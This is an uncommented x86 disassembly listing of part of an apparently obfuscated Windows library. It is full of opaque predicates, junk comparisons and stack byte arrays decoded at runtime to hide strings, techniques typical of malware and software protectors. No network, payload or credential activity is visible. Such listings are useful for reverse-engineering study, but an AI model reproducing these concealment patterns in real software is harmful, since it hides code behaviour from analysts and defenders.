mov dword [ebp - 0xba0], eax
cmp dword [ebp - 0x288], 0
je 0x1004f042
cmp dword [ebp - 0xcc], 0
je 0x1004f042
mov dword [ebp - 0x3c4], 1
jmp 0x1004f049
and dword [ebp - 0x3c4], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xba8], eax
mov dword [ebp - 0xb4], 0x6729
mov eax, dword [ebp - 0xb4]
sub eax, dword [ebp - 0xcc]
jne 0x1004f089
cmp dword [ebp - 0xcc], 0
jne 0x1004f089
and dword [ebp - 0x660], 0
jmp 0x1004f093
mov dword [ebp - 0x660], 1
mov eax, dword [ebp - 0x660]
sub eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0xcc]
jne 0x1004f0b3
mov dword [ebp - 0x524], 1
jmp 0x1004f0ba
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x3c4]
cmp eax, dword [ebp - 0x524]
jge 0x1004f0d4
mov dword [ebp - 0x3cc], 1
jmp 0x1004f0db
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x3cc]
cmp eax, 0x7c8b
jne 0x1004f0fb
mov dword [ebp - 0x5d4], 1
jmp 0x1004f102
and dword [ebp - 0x5d4], 0
cmp dword [ebp - 0x5d4], 6
jle 0x1004f11d
cmp dword [ebp - 0xb4], 0
jne 0x1004f11d
and dword [ebp - 0x3d4], 0
jmp 0x1004f127
mov dword [ebp - 0x3d4], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb90]
imul eax, dword [ebp - 0x3d4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xb90]
jle 0x1004f155
mov dword [ebp - 0x52c], 1
jmp 0x1004f15c
and dword [ebp - 0x52c], 0
push 0
lea ecx, [ebp - 0x93c]
call fcn.10018f28
mov ecx, dword [ebp - 0x52c]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb90]
mov dword [ebp - 0xbb0], eax
mov eax, dword [ebp - 0xcc]
add eax, 4
jne 0x1004f1a1
cmp dword [ebp - 0xb4], 0
jne 0x1004f1a1
and dword [ebp - 0x3dc], 0
jmp 0x1004f1ab
mov dword [ebp - 0x3dc], 1
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x81c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x93c]
call fcn.10018f0c
xor ecx, ecx
call fcn.10032a35
push eax
call fcn.10073298
pop ecx
mov dword [ebp - 0x48], 0xda439beb
mov dword [ebp - 0xc4], 7
mov dword [ebp - 0x300], 0xfffffffe
mov dword [ebp - 0x68], 0
jmp 0x1004f1ff
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1004f215
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x2e0], 0xbca6
jmp 0x1004f1f8
mov dword [ebp - 0x68], 0
jmp 0x1004f225
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x1004f23b
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x97c], 0x30dfddae
jmp 0x1004f21e
mov dword [ebp - 0x48], 1
jmp 0x1004f24b
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x1004f57b
mov dword [ebp - 0x62c], 1
push 1
lea ecx, [ebp - 0x6a4]
call fcn.10018e8a
mov dword [ebp - 4], 9
push 0
lea eax, [ebp - 0x6a4]
push eax
lea eax, [ebp - 0xbb8]
push eax
call fcn.1004c828
add esp, 0xc
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x2e0]
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x2e0], 0
je 0x1004f33e
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x2e0]
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0x62c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x62c]
imul ecx, dword [ebp + eax - 0x97c]
cmp dword [ebp - 0xc4], ecx
jge 0x1004f2f3
mov eax, 0x94ff5452
test eax, eax
jne 0x1004f2f3
and dword [ebp - 0x3e4], 0
jmp 0x1004f2fd
mov dword [ebp - 0x3e4], 1
imul eax, dword [ebp - 0x3e4], 0x14b1
mov ecx, dword [ebp - 0x48]
cmp eax, dword [ebp + ecx*4 - 0x2e0]
je 0x1004f31f
mov dword [ebp - 0x534], 1
jmp 0x1004f326
and dword [ebp - 0x534], 0
cmp dword [ebp - 0x534], 0xa4c5706b
ja 0x1004f33e
mov dword [ebp - 0x3ec], 1
jmp 0x1004f345
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 1
jle 0x1004f35a
mov dword [ebp - 0x5dc], 1
jmp 0x1004f361
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x5dc]
je 0x1004f378
mov dword [ebp - 0x3f4], 1
jmp 0x1004f37f
and dword [ebp - 0x3f4], 0
cmp dword [ebp - 0x3f4], 0xb91ee4c
jne 0x1004f397
mov dword [ebp - 0x53c], 1
jmp 0x1004f39e
and dword [ebp - 0x53c], 0
cmp dword [ebp - 0x53c], 0xc7c44d99
jbe 0x1004f3b6
mov dword [ebp - 0x3fc], 1
jmp 0x1004f3bd
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x2e0]
cmp dword [ebp - 0x3fc], eax
jle 0x1004f3db
mov dword [ebp - 0x630], 1
jmp 0x1004f3e2
and dword [ebp - 0x630], 0
cmp dword [ebp - 0x630], 0x271
jne 0x1004f3fa
mov dword [ebp - 0x404], 1
jmp 0x1004f401
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0xaf90
jne 0x1004f425
mov dword [ebp - 0x544], 1
jmp 0x1004f42c
and dword [ebp - 0x544], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x97c]
cmp dword [ebp - 0x544], eax
je 0x1004f44c
mov dword [ebp - 0x40c], 1
jmp 0x1004f453
and dword [ebp - 0x40c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x97c]
cmp dword [ebp - 0x40c], eax
jg 0x1004f474
mov dword [ebp - 0x5e4], 1
jmp 0x1004f47b
and dword [ebp - 0x5e4], 0
push 0
lea ecx, [ebp - 0x6a4]
call fcn.10018f28
mov ecx, dword [ebp - 0x5e4]
mov dword [eax], ecx
mov esi, dword [ebp - 0x300]
push 0
lea ecx, [ebp - 0x6a4]
call fcn.10018f28
cmp esi, dword [eax]
jne 0x1004f4b3
mov dword [ebp - 0x414], 1
jmp 0x1004f4ba
and dword [ebp - 0x414], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x414]
mov dword [ebp + eax - 0x97c], ecx
mov dword [ebp - 0xc4], 0
jmp 0x1004f4e6
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 1
jg 0x1004f567
mov dword [ebp - 0x9a8], 0xffff
mov eax, dword [ebp - 0x48]
cmp dword [ebp + eax*4 - 0x2e0], 1
jne 0x1004f512
mov dword [ebp - 0x6bc], 1
jmp 0x1004f519
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0x2e0]
mov dword [ebp - 0x9e8], eax
push 3
pop esi
add esi, 0x458230b5
sub esi, dword [ebp - 0xc4]
push 0
lea ecx, [ebp - 0x6a4]
call fcn.10018f28
mov dword [eax], esi
push 0x6730
lea eax, [ebp - 0x6a4]
push eax
push 0x5150
push 0
call fcn.1004c5c8
add esp, 0x10
jmp 0x1004f4d9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6a4]
call fcn.10018f0c
jmp 0x1004f244
mov byte [ebp - 0x1ac], 6
mov byte [ebp - 0x1ab], 0x89
mov byte [ebp - 0x1aa], 1
mov byte [ebp - 0x1a9], 4
mov byte [ebp - 0x1a8], 7
mov byte [ebp - 0x1a7], 3
mov byte [ebp - 0x1a6], 2
mov byte [ebp - 0x1a5], 1
mov byte [ebp - 0x1a4], 5
mov byte [ebp - 0x1a3], 6
mov byte [ebp - 0x1a2], 4
mov byte [ebp - 0x1a1], 9
mov byte [ebp - 0x1a0], 3
mov byte [ebp - 0x19f], 0xf
mov byte [ebp - 0x19e], 0x1b
mov byte [ebp - 0x19d], 0xde
mov byte [ebp - 0x19c], 0x7e
mov byte [ebp - 0x19b], 0x57
mov byte [ebp - 0x19a], 0x13
mov byte [ebp - 0x199], 0xd
mov byte [ebp - 0x198], 0xe4
mov byte [ebp - 0x197], 0xd9
mov byte [ebp - 0x196], 0x50
mov byte [ebp - 0x195], 0x3d
mov byte [ebp - 0x194], 0x50
mov byte [ebp - 0x193], 0x6d
mov byte [ebp - 0x192], 0x3a
mov byte [ebp - 0x191], 0x3f
mov byte [ebp - 0x190], 0xa1
mov byte [ebp - 0x18f], 0xc6
mov byte [ebp - 0x18e], 0x5a
mov byte [ebp - 0x18d], 0xa4
mov byte [ebp - 0x18c], 0xc5
mov byte [ebp - 0x18b], 0x6e
mov byte [ebp - 0x18a], 0xe7
mov byte [ebp - 0x189], 0x17
mov byte [ebp - 0x188], 0x8e
mov byte [ebp - 0x187], 0xc5
mov byte [ebp - 0x186], 0x7f
mov byte [ebp - 0x185], 0x43
mov byte [ebp - 0x184], 0x41
mov byte [ebp - 0x183], 0x6d
mov byte [ebp - 0x182], 9
mov byte [ebp - 0x181], 7
mov byte [ebp - 0x180], 8
mov byte [ebp - 0x17f], 0
mov byte [ebp - 0x17e], 0
mov byte [ebp - 0x17d], 1
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
or eax, 0xb8
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1ac]
and ecx, 0xb8
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x1ac]
mov byte [ebp + ecx - 0x678], al
mov dword [ebp - 0x24], 2
and dword [ebp - 0x114], 0
jmp 0x1004f721
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x30
jae 0x1004f83b
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1004f76b
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
inc eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x1004f719
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ab]
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x114]
movzx ecx, byte [ebp + ecx - 0x1ae]
movsx ecx, byte [ebp + ecx - 0x678]
add eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ab]
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x114]
movzx edx, byte [ebp + edx - 0x1ae]
movsx edx, byte [ebp + edx - 0x678]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ab]
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x114]
movzx edx, byte [ebp + edx - 0x1ae]
movsx edx, byte [ebp + edx - 0x678]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x1ac]
mov byte [ebp + ecx - 0x678], al
push 0xb95
push 0x1bf2
push 0x2ccb
push 0x7bae
lea eax, [ebp - 0x114]
push eax
push 0x4e3a
push 0x7749
push 0x6d88
push 0x1d49
push 0
push 0x4ce1
push 0x736d
call fcn.1004d460
add esp, 0x30
jmp 0x1004f719
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x678], 0
lea eax, [ebp - 0x678]
push eax
lea ecx, [ebp - 0xc9c]
call fcn.100275d6
mov dword [ebp - 0x7cc], eax
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x6c4], eax
mov dword [ebp - 4], 0xa
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x6c4]
call fcn.100329fa
pop ecx
mov dword [ebp - 0x6f4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc9c]
call fcn.10018dec
and dword [ebp - 0x21c], 0
jmp 0x1004f8af
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xb
jae 0x1004f8c8
mov eax, dword [ebp - 0x21c]
mov byte [ebp + eax - 0x678], 0
jmp 0x1004f8a2
mov dword [ebp - 0x25c], 0xe1757117
push 2
lea ecx, [ebp - 0xb08]
call fcn.10018e8a
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x1dc], 0
jmp 0x1004f8ff
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x1004f921
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0xb08]
call fcn.10018f28
mov dword [eax], 9
jmp 0x1004f8f2
mov dword [ebp - 0x25c], 4
jmp 0x1004f93a
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x12
jne 0x1004f9dd
mov dword [ebp - 0x1e4], 0xffffffff
mov dword [ebp - 0x54c], 1
mov dword [ebp - 0x1e4], 0
jmp 0x1004f974
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jg 0x1004f9b2
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
mov byte [ebp - 0x91], 0
movzx eax, byte [ebp - 0x91]
test eax, eax
je 0x1004f9b0
push 0x2176
push 0x25f9
push 0
call fcn.1004d8a8
add esp, 0xc
jmp 0x1004f967
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x1004f9d8
push 0
push 0x6cea
push 0x5b49
call fcn.1004c75b
add esp, 0xc
jmp 0x1004f92d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb08]
call fcn.10018f0c
mov byte [ebp - 0x154], 8
mov byte [ebp - 0x153], 0x51
mov byte [ebp - 0x152], 4
mov byte [ebp - 0x151], 4
mov byte [ebp - 0x150], 9
mov byte [ebp - 0x14f], 4
mov byte [ebp - 0x14e], 3
mov byte [ebp - 0x14d], 2
mov byte [ebp - 0x14c], 2
mov byte [ebp - 0x14b], 5
mov byte [ebp - 0x14a], 1
mov byte [ebp - 0x149], 1
mov byte [ebp - 0x148], 7
mov byte [ebp - 0x147], 0
mov byte [ebp - 0x146], 0
mov byte [ebp - 0x145], 7
mov byte [ebp - 0x144], 6
mov byte [ebp - 0x143], 8
mov byte [ebp - 0x142], 4
mov byte [ebp - 0x141], 0xf9
mov byte [ebp - 0x140], 0xd9
mov byte [ebp - 0x13f], 0xba
mov byte [ebp - 0x13e], 0xf5
mov byte [ebp - 0x13d], 5
mov byte [ebp - 0x13c], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x154]
or eax, 0x61
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x154]
and ecx, 0x61
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x154]
mov byte [ebp + ecx - 0x690], al
mov dword [ebp - 0x40], 2
and dword [ebp - 0x224], 0
jmp 0x1004faec
mov eax, dword [ebp - 0x40]
inc eax
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x19
jae 0x1004fba2
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x154]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x40], eax
jne 0x1004fb36
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x154]
inc eax
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x154]
mov ecx, dword [ebp - 0x40]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x40], eax
jmp 0x1004fae4
mov eax, dword [ebp - 0x40]
movzx eax, byte [ebp + eax - 0x153]
mov ecx, dword [ebp - 0x40]
sub ecx, dword [ebp - 0x224]
movzx ecx, byte [ebp + ecx - 0x156]
movsx ecx, byte [ebp + ecx - 0x690]
or eax, ecx
mov ecx, dword [ebp - 0x40]
movzx ecx, byte [ebp + ecx - 0x153]
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x224]
movzx edx, byte [ebp + edx - 0x156]
movsx edx, byte [ebp + edx - 0x690]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x40]
movzx ecx, byte [ebp + ecx - 0x154]
mov byte [ebp + ecx - 0x690], al
and dword [ebp - 0x224], 0
jmp 0x1004fae4
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x690], 0
push 2
lea ecx, [ebp - 0x17c]
call fcn.10018e8a
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x5f4], 0xfffd
mov dword [ebp - 0x290], 0xfffffffb
mov dword [ebp - 0x298], 0xab8d2321
push 4
lea ecx, [ebp - 0x868]
call fcn.10018e8a
mov byte [ebp - 4], 0xd
push 1
lea ecx, [ebp - 0x874]
call fcn.10018e8a
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x824], 0
mov dword [ebp - 0xbc], 0
jmp 0x1004fc2e
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x1004fc4d
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
or dword [eax], 0xffffffff
jmp 0x1004fc21
push 0
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0xbc]
push eax
call fcn.1004ca1b
add esp, 0xc
push 0x31d2
push 0x69ee
lea eax, [ebp - 0x874]
push eax
lea eax, [ebp - 0xbc]
push eax
push 1
call fcn.1004c07b
add esp, 0x14
mov dword [ebp - 0x1c], 1
jmp 0x1004fc97
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x1005001e
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0x2f4], 0xdf2ddfda
mov byte [ebp - 0x87], 0
movzx eax, byte [ebp - 0x87]
test eax, eax
je 0x1004fcd5
push 0x376c
push 1
call fcn.1004c125
pop ecx
pop ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov ecx, dword [ebp - 0x1c]
cmp dword [eax], ecx
je 0x1004fcf6
mov dword [ebp - 0x434], 1
jmp 0x1004fcfd
and dword [ebp - 0x434], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
imul eax, dword [eax], 0xfffffffd
mov dword [ebp - 0x298], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x298], eax
jge 0x1004fd2b
mov dword [ebp - 0x41c], 1
jmp 0x1004fd32
and dword [ebp - 0x41c], 0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov ecx, dword [ebp - 0x41c]
add ecx, 0xdfa9
mov esi, ecx
imul esi, dword [eax]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
cmp esi, dword [eax]
jl 0x1004fd6f
mov dword [ebp - 0x638], 1
jmp 0x1004fd76
and dword [ebp - 0x638], 0
push 0
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov ecx, dword [ebp - 0x638]
cmp ecx, dword [eax]
jg 0x1004fd99
mov dword [ebp - 0x424], 1
jmp 0x1004fda0
and dword [ebp - 0x424], 0
cmp dword [ebp - 0x424], 0
ja 0x1004fdb5
mov dword [ebp - 0x2d0], 1
jmp 0x1004fdbc
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
push 3
lea ecx, [ebp - 0x868]
call fcn.10018f28
mov ecx, dword [ebp - 0x2d0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x290]
cmp eax, dword [ebp - 0x2d0]
jl 0x1004fdf8
mov dword [ebp - 0x554], 1
jmp 0x1004fdff
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
je 0x1004fe1d
cmp dword [ebp - 0x298], 0
jne 0x1004fe2f
mov eax, 0xfffa
test eax, eax
jne 0x1004fe2f
and dword [ebp - 0x42c], 0
jmp 0x1004fe39
mov dword [ebp - 0x42c], 1
mov esi, dword [ebp - 0x5f4]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x42c]
add esi, eax
push 0
lea ecx, [ebp - 0x17c]
call fcn.10018f28
cmp esi, dword [eax]
jge 0x1004fe68
mov dword [ebp - 0x5ec], 1
jmp 0x1004fe6f
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x2f4], eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
imul eax, dword [eax], 0x8bd2
test eax, eax
jne 0x1004fea0
push 2
lea ecx, [ebp - 0x868]
call fcn.10018f28
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0xa9c], eax
push 1
lea ecx, [ebp - 0x17c]
call fcn.10018f28
cmp dword [eax], 0
je 0x1004fed3
cmp dword [ebp - 0x2f4], 0
je 0x1004fed3
mov dword [ebp - 0x55c], 1
jmp 0x1004feda
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x55c]
jle 0x1004fef4
mov dword [ebp - 0x43c], 1
jmp 0x1004fefb
and dword [ebp - 0x43c], 0
push 0
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov esi, dword [ebp - 0x43c]
sub esi, dword [eax]
push 0
lea ecx, [ebp - 0x874]
call fcn.10018f28
sub esi, dword [eax]
cmp esi, 0xffffffff
jl 0x1004ff36
cmp dword [ebp - 0x2a0], 0
jne 0x1004ff36
and dword [ebp - 0x640], 0
jmp 0x1004ff40
mov dword [ebp - 0x640], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov ecx, dword [ebp - 0x640]
cmp ecx, dword [eax]
jle 0x1004ff64
mov dword [ebp - 0x444], 1
jmp 0x1004ff6b
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0
jb 0x1004ff8f
push 0
lea ecx, [ebp - 0x874]
call fcn.10018f28
cmp dword [eax], 0
jne 0x1004ff8f
and dword [ebp - 0x564], 0
jmp 0x1004ff99
mov dword [ebp - 0x564], 1
imul esi, dword [ebp - 0x564], 0x36f
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
cmp esi, dword [eax]
jg 0x1004ffd1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
cmp dword [eax], 0
jne 0x1004ffd1
and dword [ebp - 0x44c], 0
jmp 0x1004ffdb
mov dword [ebp - 0x44c], 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x17c]
call fcn.10018f28
mov ecx, dword [ebp - 0x44c]
cmp ecx, dword [eax]
jle 0x1004ffff
mov dword [ebp - 0x454], 1
jmp 0x10050006
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x5f4]
imul eax, dword [ebp - 0x454]
mov dword [ebp - 0x824], eax
jmp 0x1004fc90
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x874]
call fcn.10018f0c
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x868]
call fcn.10018f0c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x17c]
call fcn.10018f0c
lea eax, [ebp - 0x690]
push eax
lea ecx, [ebp - 0xd14]
call fcn.100275d6
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x82c], eax
mov dword [ebp - 4], 0xf
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x82c]
call fcn.100329fa
pop ecx
mov dword [ebp - 0x838], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd14]
call fcn.10018dec
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x1ec], 0
jmp 0x100500be
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x100500da
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x9b0], 0x48261f9c
jmp 0x100500b1
mov byte [ebp - 0x9e], 0
movzx eax, byte [ebp - 0x9e]
test eax, eax
je 0x100500fa
push 0xe77
push 1
call fcn.1004c1a0
pop ecx
pop ecx
mov dword [ebp - 0x244], 0
jmp 0x10050113
mov eax, dword [ebp - 0x244]
dec eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jl 0x10050132
push 0x49a7
push 0x75f0
push 1
call fcn.1004c1e0
add esp, 0xc
jmp 0x10050106
and dword [ebp - 0x1f4], 0
jmp 0x10050148
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0xb
jae 0x10050161
mov eax, dword [ebp - 0x1f4]
mov byte [ebp + eax - 0x690], 0
jmp 0x1005013b
and dword [ebp - 0x8b0], 0
and dword [ebp - 0x8ac], 0
and dword [ebp - 0x8a8], 0
and dword [ebp - 0x8a4], 0
lea ecx, [ebp - 0x2c9]
call fcn.1000a6f3
push eax
lea eax, [ebp - 0x8a0]
push eax
lea eax, [ebp - 0x8b0]
push eax
lea ecx, [ebp - 0xc6c]
call fcn.10018f37
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x788]
call fcn.10018ee6
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x6e4], 0xa07563ff
mov dword [ebp - 0x574], 1
mov dword [ebp - 0xac], 1
mov dword [ebp - 0xb80], 7
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2c], 0
jmp 0x100501fb
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10050211
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x304], 5
jmp 0x100501f4
mov dword [ebp - 0x2c], 0
jmp 0x10050221
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x10050237
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2d8], 0xe4c7ba3f
jmp 0x1005021a
mov dword [ebp - 0x2c], 0
jmp 0x10050247
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x1005025d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xc5c], 0
jmp 0x10050240
push 3
lea ecx, [ebp - 0x788]
call fcn.10018f28
cmp dword [eax], 0
je 0x10050379
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d8]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x7d8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d8]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2d8], eax
mov eax, dword [ebp - 0x6d4]
cmp eax, dword [ebp - 0x7d8]
je 0x100502c7
mov dword [ebp - 0x56c], 1
jmp 0x100502ce
and dword [ebp - 0x56c], 0
push 6
pop eax
test eax, eax
je 0x100502fc
cmp dword [ebp - 0xac], 0
je 0x100502fc
push 3
lea ecx, [ebp - 0x788]
call fcn.10018f28
cmp dword [eax], 0
je 0x100502fc
mov dword [ebp - 0x45c], 1
jmp 0x10050303
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x56c]
imul eax, dword [ebp - 0x45c]
cmp eax, 0x693009c
jne 0x10050323
mov dword [ebp - 0x63c], 1
jmp 0x1005032a
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0xfffffffb
jne 0x1005033f
mov dword [ebp - 0x6dc], 1
jmp 0x10050346
and dword [ebp - 0x6dc], 0
push 3
lea ecx, [ebp - 0x788]
call fcn.10018f28
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x304], 0xe71c
mov eax, 0xe71c
test eax, eax
je 0x10050379
mov dword [ebp - 0x464], 1
jmp 0x10050380
and dword [ebp - 0x464], 0
push 3
lea ecx, [ebp - 0x788]
call fcn.10018f28
mov eax, dword [eax]
sub eax, dword [ebp - 0x464]
je 0x100503e5
mov dword [ebp - 0x810], 0x1260
mov dword [ebp - 0xac], 0
jmp 0x100503ba
